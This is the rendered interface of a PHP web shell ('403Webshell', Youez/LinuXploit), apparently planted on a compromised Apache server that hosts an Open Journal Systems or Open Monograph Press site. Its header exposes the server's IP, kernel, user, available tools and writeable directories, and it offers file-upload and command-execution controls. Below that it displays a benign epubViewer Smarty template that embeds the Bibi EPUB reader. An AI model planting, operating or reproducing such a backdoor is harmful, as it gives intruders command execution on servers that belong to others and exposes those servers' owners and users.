403Webshell
Server IP : 195.134.90.114  /  Your IP : 216.73.216.86
Web Server : Apache/2.4.58
System : Linux nepub 6.8.0-88-generic #89-Ubuntu SMP PREEMPT_DYNAMIC Sat Oct 11 01:02:46 UTC 2025 x86_64
User : www-data ( 33)
PHP Version : 8.2.30
Disable Function : NONE
MySQL : OFF |  cURL : ON |  WGET : ON |  Perl : ON |  Python : OFF |  Sudo : ON |  Pkexec : OFF
Directory :  /var/www/html/public_html/plugins/generic/epubViewer/templates/

Upload File :
current_dir [ Writeable] document_root [ Writeable]

 

Command :


[ Back ]     

Current File : /var/www/html/public_html/plugins/generic/epubViewer/templates/display.tpl
{**
 * plugins/generic/epubViewer/templates/display.tpl
 *
 * Copyright (c) 2010-2023 Lepidus Tecnologia
 * Distributed under the GNU GPL v3. For full terms see the file docs/COPYING.
 *
 * Embedded viewing of a EPUB galley.
 *}
<!DOCTYPE html>
<html lang="{$currentLocale|replace:"_":"-"}" xml:lang="{$currentLocale|replace:"_":"-"}">
<head>
	<meta http-equiv="Content-Type" content="text/html; charset={$defaultCharset|escape}" />
	<meta name="viewport" content="width=device-width, initial-scale=1.0">
	{$application = Application::get()}
	<title>
		{if $application->getName() === 'omp'}
			{translate key="catalog.viewableFile.title" type=$publicationFormat->getLocalizedName()|escape title=$submissionFile->getLocalizedData('name')|escape}
		{else}
			{translate key="article.pageTitle" title=$title|escape}
		{/if} 
	</title>

	{load_header context="frontend" headers=$headers}
	{load_stylesheet context="frontend" stylesheets=$stylesheets}
	{load_script context="frontend" scripts=$scripts}
</head>

<body class="pkp_page_{$requestedPage|escape} pkp_op_{$requestedOp|escape}">

	{if $application->getName() == 'omp'}
		{* Header wrapper *}
		<header class="header_viewable_file">

			{capture assign="submissionUrl"}{url op="book" path=$publishedSubmission->getBestId()}{/capture}

			<a href="{$submissionUrl}" class="return">
				<span class="pkp_screen_reader">
					{translate key="catalog.viewableFile.return" monographTitle=$publishedSubmission->getLocalizedTitle()|escape}
				</span>
			</a>

			<span class="title">
				{$submissionFile->getLocalizedData('name')|escape}
			</span>

			<a href="{$downloadUrl|escape}" class="download" download>
				<span class="label">
					{translate key="common.download"}
				</span>
				<span class="pkp_screen_reader">
					{translate key="common.downloadPdf"}
				</span>
			</a>

		</header>
	{else}
		{* Header wrapper *}
		<header class="header_view">
			<a href="{$parentUrl}" class="return">
				<span class="pkp_screen_reader">
					{if $parent instanceOf Issue}
						{translate key="issue.return"}
					{else}
						{translate key="article.return"}
					{/if}
				</span>
			</a>

			<a href="{$parentUrl}" class="title">
				{$title|escape}
			</a>

			<a href="{$epubUrl}" class="download" download>
				<span class="label">
					{translate key="common.download"}
				</span>
				<span class="pkp_screen_reader">
					{translate key="common.downloadPdf"}
				</span>
			</a>

		</header>
	{/if}

	<script type="text/javascript">
		$(document).ready(function() {ldelim} 
			const Jo = window['bibi:jo'];
			var urlBase = "{$pluginUrl}/vendor/bibi/bibi/bibi/index.html?book=";

			var epubUrl;
			{if $application->getName() === "omp"}
				epubUrl = {$downloadUrl|json_encode} + ".epub";
			{else} 
				epubUrl = {$epubUrl|json_encode} + "/file.epub";
			{/if}

			const OneMoreBibi = new Jo.Bibi({
				'bibi-href': urlBase + encodeURIComponent(epubUrl),
				'bibi-style': 'width: 100%; height: 480px;',
				'bibi-view': 'paged',
				'bibi-view-unchangeable': 'yes',
				'bibi-autostart': 'yes',
				'bibi-receive': ['bibi:flipped', 'bibi:got-to-the-beginning', 'bibi:got-to-the-end']
			});
			
			$("body").append(OneMoreBibi.Frame);
			$(".bibi-frame").css("height","97vh");
			
		{rdelim});
	</script>

	<link rel="stylesheet" href="{$pluginUrl}/vendor/bibi/bibi/bibi/resources/styles/bibi.css" />
	<div id="epubCanvasContainer" class="galley_view{if !$isLatestPublication} galley_view_with_notice{/if}">
		{if !$isLatestPublication}
			<div class="galley_view_notice">
				<div class="galley_view_notice_message" role="alert">
					{$datePublished}
				</div>
			</div>
		{/if}
		<script src="{$pluginUrl}/vendor/bibi/bibi/bibi/and/jo.js"></script>
	</div>
	{call_hook name="Templates::Common::Footer::PageFooter"}
</body>
</html>

Youez - 2016 - github.com/yon3zu
LinuXploit